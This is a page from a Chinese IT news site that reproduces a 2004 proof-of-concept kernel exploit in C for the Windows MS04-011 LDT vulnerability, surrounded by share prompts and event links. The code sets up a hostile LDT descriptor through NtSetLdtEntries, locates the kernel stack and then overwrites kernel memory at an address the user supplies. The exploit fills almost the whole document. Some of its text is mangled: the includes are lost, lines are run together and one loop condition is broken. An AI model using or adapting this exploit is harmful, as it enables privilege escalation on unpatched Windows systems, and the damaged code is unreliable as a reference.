扫一扫
分享文章到微信
扫一扫
关注官方公众号
至顶头条
* [MS04-011]
*
* Bug found by: Derek Soeder
* Author: mslug (a1476854@hotmail.com), All rights reserved.
*
* Version: PoC 0.1
*
* Tested: Win2k pro en sp4
*
* Thanks: z0mbie"s article :)
*
* Compile: cl winldt.c
*
* Date: 18 Apr 2004
*******************************************************************/
#include
#include
#include
#if 1
#define KernelStackPtr 0xFD000000 //估计值
#define BedSize 0x01000000
#else
#define KernelStackPtr 0xF0000000
#define BedSize 0x10000000
#endif
unsigned char bed[BedSize];
unsigned char pin[]="COOL";
int (*NtSetLdtEntries)(DWORD, DWORD, DWORD, DWORD, DWORD, DWORD);
WORD SetupLDT(WORD seg, DWORD ldtbase);
unsigned long patch_to;
int main(int argc, char *argv[])
{
DWORD ldtbase, KSP;
int i;
HMODULE hNtdll;
if(argc<2) {
printf("** coded by mslug@safechina.net **
");
printf("winldt.exe
");
return 0;
}
patch_to = strtoul(argv[1], 0, 16);
hNtdll = LoadLibrary("ntdll.dll");
(DWORD*)NtSetLdtEntries = (DWORD*)GetProcAddress(hNtdll, "NtSetLdtEntries");
memset(bed, "A", BedSize);
bed[BedSize-1]=0;
ldtbase = (DWORD) &bed[0] - KernelStackPtr;
printf("[+] User-land bed : 0x%08X
", &bed[0]);
printf("[+] 1st LDT base : 0x%08X
", ldtbase);
SetupLDT(0x1f, ldtbase);
__asm {
push es
push 1fh
pop es
mov eax, 11h //1 param
lea edx, pin
int 2eh
pop es
}
for (KSP=0, i=0; i if (bed[i] =="C" &&bed[i+1]=="O" &&
bed[i+2]=="O" &&bed[i+3]=="L" )
{
KSP = KernelStackPtr + i;
printf("[!] Knl stack ptr : 0x%08X
", KSP);
//KSP = (DWORD)&bed[i]-ldtbase;
//printf("[!] Knl stack ptr : 0x%08X
", KSP);
break;
}
}
if(!KSP) {
printf("[-] Can"t locate Kernel stack pointer, try again
");
return 0;
} else if (patch_to printf("[-] Can only patch kernel above KSP "); return 0; } ldtbase = patch_to - KSP; printf("[+] Patch to : 0x%08X ", patch_to); printf("[+] 2nd LDT base : 0x%08X ", ldtbase); SetupLDT(0x17, ldtbase); __asm { push es push 17h pop es mov eax, 11h lea edx, pin int 2eh pop es } return 0; } WORD SetupLDT(WORD seg, DWORD ldtbase) { LDT_ENTRY EvilLdt; DWORD base = ldtbase; DWORD limit = 0; int ret; EvilLdt.BaseLow = base &0xFFFF; EvilLdt.HighWord.Bytes.BaseMid = base >> 16; EvilLdt.HighWord.Bytes.BaseHi = base >> 24; EvilLdt.LimitLow = (limit >> 12) &0xFFFF; EvilLdt.HighWord.Bits.LimitHi = limit >> 28; EvilLdt.HighWord.Bits.Granularity = 1; // 0/1, if 1, limit=(limit<<12)|fff EvilLdt.HighWord.Bits.Default_Big = 1; // 0=16bit 1=32bit EvilLdt.HighWord.Bits.Reserved_0 = 0; // 0/1 EvilLdt.HighWord.Bits.Sys = 0; // 0/1 EvilLdt.HighWord.Bits.Pres = 1; // 0/1 (presence bit) EvilLdt.HighWord.Bits.Dpl = 3; // only 3 allowed :-( EvilLdt.HighWord.Bits.Type = 23; // [16..27] ret = NtSetLdtEntries( seg, *(DWORD*)&EvilLdt, *(((DWORD*)&EvilLdt)+1), 0,0,0); if (ret <0) { printf("[-] Set ldt error : %08X. ", ret); exit(0); } return seg;
如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。
现场直击|2021世界人工智能大会
直击5G创新地带,就在2021MWC上海
5G已至 转型当时——服务提供商如何把握转型的绝佳时机
寻找自己的Flag
华为开发者大会2020(Cloud)- 科技行者